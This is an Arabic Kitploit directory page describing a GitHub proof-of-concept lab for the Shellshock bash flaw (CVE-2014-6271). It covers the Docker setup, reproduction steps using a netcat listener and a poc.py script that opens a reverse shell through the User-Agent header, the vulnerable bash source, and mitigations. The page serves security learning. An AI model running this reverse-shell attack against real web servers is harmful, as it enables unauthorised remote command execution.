Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Shellshock_CVE-2014-6271 — Shellshock | Kitploit
أدوات/GitHubGitHub/caverm/shellshock_cve-2014-6271
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubcaverm/shellshock_cve-2014-6271

Shellshock_CVE-2014-6271

Shellshock

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

شيلشوك CVE-2014-6271

شيلشوك

يرجى تنزيل ملفات docker-compose.yml و poc.py تأكد من تنزيل مكتبة requests عبر pip install requests!!! أما إذا كنت تستخدم uv، فقم بوضع مكتبة requests داخل venv عبر uv!!!

وصف CVE الرسمي
في إصدارات GNU Bash قبل 4.3، كانت هناك مشكلة في معالجة السلاسل التي تلي تعريف الدالة في قيم متغيرات البيئة. يمكن للمهاجم عن بعد استغلال هذه الثغرة لتنفيذ كود عشوائي عبر بيئات معدلة. تم العثور على هذه الثغرة في ميزة ForceCommand في OpenSSH sshd، ووحدات mod_cgi و mod_cgid في خادم Apache HTTP، والبرامج النصية التي تعمل على عملاء DHCP غير محددين، وفي حالات أخرى عديدة حيث يتم تنفيذ Bash عبر حدود الصلاحيات مع تعيين متغيرات البيئة. تُعرف هذه الثغرة باسم "ShellShock". ملاحظة: كان الإصلاح الأولي لهذه المشكلة خاطئًا، وتم تعيين CVE-2014-7169 لمعالجة الثغرة التي لا تزال موجودة بعد الإصلاح الخاطئ.

تكوين البيئة

تكوين ملف Docker

نظام التشغيلخادم الويبإصدار bash
Debian 10Apach4.2.37(1)

عند تنفيذ الأمر docker compose up، تم كتابة Dockerfile بحيث يظل خادم الويب في حالة تشغيل. نظرًا لأن نظام التشغيل و Apache وما إلى ذلك في Dockerfile تم تنزيلها من مستودعات خارجية، تم بناء الصورة ووضع علامة عليها ودفعها إلى Docker Hub، ثم تم الإشارة إلى تلك الصورة في ملف docker-compose.yml لضمان عدم وجود مشكلة حتى في حالة حذف المصدر الأصلي.

الظروف الضعيفة

يلزم وجود Bash shell به ثغرة Shellshock. لقد قمت بتنزيل Bash shell الإصدار 4.2.37(1) واستخدمته.

بالإضافة إلى ذلك، يجب أن يكون هناك برنامج يمكنه استدعاء bash لتنفيذ الكود بعد تسجيل الكود في متغيرات البيئة. لقد قمت بتنزيل برنامج CGI المستخدم لمعالجة طلبات العميل في خادم الويب. وفقًا لمعيار CGI (RFC 3875)، تم تصميم خادم الويب لوضع جميع معلومات الرأس التي يرسلها المتصفح في متغيرات بيئة Linux لمعالجتها.

في ظل هذه الظروف، يرسل خادم الويب الطلب وتُخزّن معلومات الرأس في متغيرات البيئة (وفقًا لمعيار CGI). يستدعي CGI هذا Bash shell الذي يحتوي على ثغرة تتمثل في تنفيذ السلاسل التي تلي تعريف الدالة في متغيرات البيئة، وبذلك يكتمل الهجوم.

الطلب (إرسال الكود المضمن في رأس User-Agent) -> CGI يستدعي bash -> اتصال shell عكسي

خطوات إعادة الإنتاج
  1. تشغيل خادم الويب باستخدام الأمر docker compose up.
  2. افتح terminal جديد وابدأ الاستماع على nc -lvp 4444
  3. تشغيل poc.py للاتصال بالـ shell العكسي.
    • uv run ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (ليس من الضروري أن يكون 4444، يعتمد على المنفذ الذي تستمع عليه)
    • python3 ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (إذا كنت لا تستخدم uv، فاستخدم الأمر python3 للتشغيل!!!)
نتائج الإنجاز

الطرفية التي كانت تستمع في الخطوة 2 من إجراءات إعادة الإنتاج تتصل بـ bash shell داخل الحاوية ويمكنها تنفيذ أوامر مثل whoami و id.

سبب حدوث الثغرة
root@kitploit:~
  '''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);

strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

// 이하 생략 
'''

سبب الثغرة موجود في دالة initialize_shell_variables داخل ملف variables.c من كود bash shell. هذه الدالة طويلة جدًا أيضًا، لذا قمت بقص الجزء الأساسي فقط.

root@kitploit:~
'''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
'''

الشرط if أعلاه يتحقق عبر STREQN ("() {", string, 4) من أن أول 4 أحرف هي "() {". إذا تطابقت، يتم التعامل معها كدالة. المذهل أنه لا يوجد تصفية أخرى على السلسلة بعد ذلك، مما تسبب في المشكلة.

root@kitploit:~
'''
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string); 

''' الكود أعلاه هو عملية دمج الاسم والقيمة. نظرًا لأن السلسلة تم فحصها أعلاه، فإن string تبدأ بـ "() {" و name هو اسم متغير البيئة.

بهذه الطريقة، يتم دمج اسم متغير البيئة وقيمته وتمريرهما إلى الكود التالي للتحليل. نظرًا لوجود مرشح واحد فقط يفحص "() {" أعلاه، فإن أي أوامر مثل whoami و id و pwd تُضاف بعد الدالة سيتم تنفيذها جميعًا.

root@kitploit:~
'''
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
 '''
إجراءات التصدي
ترقية إصدار Bash إلى إصدار آمن من ثغرة Shellshock.
عدم استخدام البرامج التي تستدعي Bash shell.
تنزيل الأداة